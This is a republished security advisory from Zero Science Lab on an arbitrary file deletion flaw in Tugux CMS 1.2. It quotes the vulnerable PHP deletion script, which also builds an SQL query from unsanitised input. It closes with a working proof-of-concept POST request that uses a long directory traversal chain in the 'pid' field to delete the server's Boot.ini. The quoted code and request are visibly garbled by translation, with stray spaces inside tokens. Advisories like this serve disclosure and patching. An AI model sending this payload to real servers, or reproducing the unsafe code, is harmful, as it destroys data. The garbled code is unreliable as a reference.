Tugux CMS 1.2 (pid) Arbitrary File Deletion defect and repair

Source: Internet
Author: User

Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability
 
 
Vendor: Tugux Studios
Product web page: http://www.tugux.com
Affected version: 1.2
 
Summary: Tugux CMS is a free and open-source content management system.
(CMS) and application that powers the entire web.
 
Desc: Input passed to the pid parameter in administrator/delete_page_parse.php
Is not properly sanitised before being used to delete files. This can be exploited
To delete files with the permissions of the web server via directory traversal
Sequences passed within the pid parameter.
 
 
------------------------------------------------------------------------------
/Administrator/delete_page_parse.php:
------------------------------------------------------------------------------
 
1: <? Php
2: // post form data
3: $ id = $ _ POST [pid];
4:
5: $ pic1 = ("slides/$ id/image_01.jpg ");
6: if (file_exists ($ pic1 )){
7: unlink ($ pic1 );
8 :}
9: $ dir = "slides/$ id ";
10: rmdir ($ dir );
11:
12: include_once "../scripts/connect_to_mysql.php ";
13: $ query = mysqli_query ($ myConnection, "delete from pages WHERE id = $ id") or die (mysqli_error ($ myConnection ));
14: echo <table align = "center"> <tr> <td> <div style = "width: 300px; margin: auto; border: 1px solid # BBB; font-family: Arial, Helvetica, sans-serif; color: #666; text-align: center ">
15: <br/>
16: Operation completed. Your page has been DELETED. <br/>
17: <a href = "index. php"> Click Here to go back </a> </div> </td> </tr> </table>;
18: exit ();
19:?>
 
------------------------------------------------------------------------------
 
 
Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41
 
 
Vulnerability discovered by Gjoko LiquidWorm Krstic
Liquidworm gmail com
Zero Science Lab
 
 
Advisory ID: ZSL-2011-5024
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5024.php
 
 
02.04.2011
 
 
--
 
POST/tugux/administrator/delete_page_parse.php HTTP/1.1
Host: www.2cto.com
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 175
Cache-Control: max-age = 0
Origin: null
Content-Type: multipart/form-data; boundary = ---- x
Accept: text/html
Accept-Language: en-US, en; q = 0.8
Accept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.3
 
------ X
Content-Disposition: form-data; name = "pid"
 
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /Boot. ini
------ X --

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.